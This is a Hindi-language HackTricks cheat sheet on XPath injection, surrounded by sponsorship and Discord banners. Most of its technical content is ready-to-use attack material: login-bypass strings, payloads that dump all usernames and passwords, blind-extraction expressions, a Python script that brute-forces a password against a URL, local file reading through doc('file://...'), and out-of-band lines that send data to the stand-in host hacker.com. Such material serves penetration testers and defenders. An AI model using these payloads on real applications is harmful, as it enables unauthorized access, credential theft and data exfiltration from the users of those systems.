# XPATH इंजेक्शन
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! HackTricks का समर्थन करने के अन्य तरीके: * यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह * 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**. * [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें! **Hacking Insights**\ हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ जुड़ें **Real-Time Hack News**\ रियल-टाइम न्यूज़ और अंतर्दृष्टि के माध्यम से तेजी से बढ़ते हैकिंग विश्व के साथ अप-टू-डेट रहें **Latest Announcements**\ नवीनतम बग बाउंटीज़ लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें! ## **मूल सिंटैक्स** XPath इंजेक्शन एक हमले की तकनीक है जिसका उपयोग उन एप्लिकेशन्स को शोषित करने के लिए किया जाता है जो उपयोगकर्ता-प्रदत्त इनपुट से XPath (XML Path Language) क्वेरीज़ का निर्माण करते हैं ताकि XML दस्तावेज़ों को क्वेरी करें या नेविगेट करें। क्वेरीज़ कैसे बनाएं, इसकी जानकारी के लिए: [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp) ### नोड्स | एक्सप्रेशन | विवरण | | ---------- | ----------------------------------------------------------------------------------------------------- | | nodename | "nodename" नाम के सभी नोड्स का चयन करता है | | / | रूट नोड से चयन करता है | | // | वर्तमान नोड से दस्तावेज़ में नोड्स का चयन करता है जो चयन से मेल खाते हैं चाहे वे कहीं भी हों | | . | वर्तमान नोड का चयन करता है | | .. | वर्तमान नोड के माता-पिता का चयन करता है | | @ | विशेषताओं का चयन करता है | ### **उदाहरण:** | पथ एक्सप्रेशन | परिणाम | | --------------- | -------------------------------------------------------------------------------------------------------------------------------------- | | bookstore | "bookstore" नाम के सभी नोड्स का चयन करता है | | /bookstore | रूट एलिमेंट bookstore का चयन करता है**नोट:** यदि पथ एक स्लैश ( / ) से शुरू होता है तो यह हमेशा एक एलिमेंट के लिए एक निरपेक्ष पथ का प्रतिनिधित्व करता है! | | bookstore/book | bookstore के बच्चे के रूप में सभी book एलिमेंट्स का चयन करता है | | //book | दस्तावेज़ में कहीं भी हों, सभी book एलिमेंट्स का चयन करता है | | bookstore//book | bookstore एलिमेंट के वंशज के रूप में सभी book एलिमेंट्स का चयन करता है, चाहे वे bookstore एलिमेंट के नीचे कहीं भी हों | | //@lang | "lang" नाम की सभी विशेषताओं का चयन करता है | ### प्रेडिकेट्स | पथ एक्सप्रेशन | परिणाम | | ----------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | /bookstore/book\[1] |

bookstore एलिमेंट के बच्चे के रूप में पहले book एलिमेंट का चयन करता है।नोट: IE 5,6,7,8,9 में पहला नोड [0] है, लेकिन W3C के अनुसार, यह [1] है। IE में इस समस्या को हल करने के लिए, SelectionLanguage को XPath पर सेट करें:

JavaScript में: xml.setProperty("SelectionLanguage","XPath");

| | /bookstore/book\[last()] | bookstore एलिमेंट के बच्चे के रूप में अंतिम book एलिमेंट का चयन करता है | | /bookstore/book\[last()-1] | bookstore एलिमेंट के बच्चे के रूप में अंतिम से पहले book एलिमेंट का चयन करता है | | /bookstore/book\[position()<3] | bookstore एलिमेंट के बच्चे के रूप में पहले दो book एलिमेंट्स का चयन करता है | | //title\[@lang] | "lang" नाम की विशेषता वाले सभी title एलिमेंट्स का चयन करता है | | //title\[@lang='en'] | "lang" विशेषता के साथ "en" मान वाले सभी title एलिमेंट्स का चयन करता है | | /bookstore/book\[price>35.00] | bookstore एलिमेंट के book एलिमेंट्स का चयन करता है जिनके पास 35.00 से अधिक मूल्य का price एलिमेंट है | | /bookstore/book\[price>35.00]/title | bookstore एलिमेंट के book एलिमेंट्स के title एलिमेंट्स का चयन करता है जिनके पास 35.00 से अधिक मूल्य का price एलिमेंट है | ### अज्ञात नोड्स | वाइल्डकार्ड | विवरण | | -------- | ---------------------------- | | \* | किसी भी एलिमेंट नोड का मिलान करता है | | @\* | किसी भी विशेषता नोड का मिलान करता है | | node() | किसी भी प्रकार के किसी भी नोड का मिलान करता है | ### **उदाहरण:** | पथ एक्सप्रेशन | परिणाम | | --------------- | ------------------------------------------------------------------------ | | /bookstore/\* | bookstore एलिमेंट के सभी बच्चे एलिमेंट नोड्स का चयन करता है | | //\* | दस्तावेज़ में सभी एलिमेंट्स का चयन करता है | | //title\[@\*] | कम से कम एक विशेषता वाले सभी title एलिमेंट्स का चयन करता है किसी भी प्रकार की |
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें! **Hacking Insights**\ हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ जुड़ें **Real-Time Hack News**\ रियल-टाइम न्यूज़ और अंतर्दृष्टि के माध्यम से तेजी से बढ़ते हैकिंग विश्व के साथ अप-टू-डेट रहें **Latest Announcements**\ नवीनतम बग बाउंटीज़ लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें! ## उदाहरण ```markup pepe peponcio admin mark m12345 regular fino fino2 regular ``` ### जानकारी तक पहुंच ``` All names - [pepe, mark, fino] name //name //name/node() //name/child::node() user/name user//name /user/name //user/name All values - [pepe, peponcio, admin, mark, ...] //user/node() //user/child::node() Positions //user[position()=1]/name #pepe //user[last()-1]/name #mark //user[position()=1]/child::node()[position()=2] #peponcio (password) Functions count(//user/node()) #3*3 = 9 (count all values) string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4 substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a" ``` ### पहचान और स्कीमा की चोरी ```python and count(/*) = 1 #root and count(/*[1]/*) = 2 #count(root) = 2 (a,c) and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b) and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0 and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f) and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0 and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0 and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g) and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0 #The previous solutions are the representation of a schema like the following #(at this stage we don't know the name of the tags, but jus the schema) and name(/*[1]) = "root" #Confirm the name of the first tag is "root" and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `` is "a" and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag ``is codepoint 105 ("i") (https://codepoints.net/) #Stealing the schema via OOB doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) ``` ## प्रमाणीकरण बाईपास ### **क्वेरीज के उदाहरण:** ``` string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text()) $q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]'; ``` ### **उपयोगकर्ता और पासवर्ड में OR बाईपास (दोनों में समान मूल्य)** ``` ' or '1'='1 " or "1"="1 ' or ''=' " or ""=" string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text()) Select account Select the account using the username and use one of the previous values in the password field ``` ### **नल इंजेक्शन का दुरुपयोग** ``` Username: ' or 1]%00 ``` ### **यूजरनेम या पासवर्ड में डबल OR** (केवल 1 संवेदनशील फील्ड के साथ मान्य है) महत्वपूर्ण: ध्यान दें कि **"and" पहला ऑपरेशन होता है**। ``` Bypass with first match (This requests are also valid without spaces) ' or /* or ' ' or "a" or ' ' or 1 or ' ' or true() or ' string(//user[name/text()='' or true() or '' and password/text()='']/account/text()) Select account 'or string-length(name(.))<10 or' #Select account with length(name)<10 'or contains(name,'adm') or' #Select first account having "adm" in the name 'or contains(.,'adm') or' #Select first account having "adm" in the current value 'or position()=2 or' #Select 2º account string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text()) Select account (name known) admin' or ' admin' or '1'='2 string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text()) ``` ## स्ट्रिंग निष्कर्षण आउटपुट में स्ट्रिंग्स होती हैं और उपयोगकर्ता मानों को खोजने के लिए संशोधित कर सकता है: ``` /user/username[contains(., '+VALUE+')] ``` ``` ') or 1=1 or (' #Get all names ') or 1=1] | //user/password[('')=(' #Get all names and passwords ') or 2=1] | //user/node()[('')=(' #Get all values ')] | //./node()[('')=(' #Get all values ')] | //node()[('')=(' #Get all values ') or 1=1] | //user/password[('')=(' #Get all names and passwords ')] | //password%00 #All names and passwords (abusing null injection) ')]/../*[3][text()!=(' #All the passwords ')] | //user/*[1] | a[(' #The ID of all users ')] | //user/*[2] | a[(' #The name of all users ')] | //user/*[3] | a[(' #The password of all users ')] | //user/*[4] | a[(' #The account of all users ``` ## ब्लाइंड एक्सप्लोटेशन ### **मान की लंबाई प्राप्त करें और तुलना द्वारा इसे निकालें:** ```bash ' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4 ' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a" substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) ... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value ``` ### **पायथन उदाहरण** ```python import requests, string flag = "" l = 0 alphabet = string.ascii_letters + string.digits + "{}_()" for i in range(30): r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) if ("TRUE_COND" in r.text): l = i break print("[+] Password length: " + str(l)) for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) for al in alphabet: r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al) if ("TRUE_COND" in r.text): flag += al print("[+] Flag: " + flag) break ``` ### फाइल पढ़ें ```python (substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127 ``` ## OOB शोषण ```python doc(concat("http://hacker.com/oob/", RESULTS)) doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username)) doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username))) #Instead of doc() you can use the function doc-available doc-available(concat("http://hacker.com/oob/", RESULTS)) #the doc available will respond true or false depending if the doc exists, #user not(doc-available(...)) to invert the result if you need to ``` ### स्वचालित उपकरण {% embed url="https://xcat.readthedocs.io/" %} ## संदर्भ {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें! **हैकिंग अंतर्दृष्टि**\ हैकिंग के रोमांच और चुनौतियों पर गहराई से जानकारी प्राप्त करें **रियल-टाइम हैक समाचार**\ रियल-टाइम समाचार और अंतर्दृष्टि के माध्यम से हैकिंग दुनिया के साथ अद्यतन रहें **नवीनतम घोषणाएँ**\ नवीनतम बग बाउंटीज के शुभारंभ और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर **हमसे जुड़ें** और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)! HackTricks का समर्थन करने के अन्य तरीके: * यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह * 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में **शामिल हों** या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का अनुसरण करें.** * **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.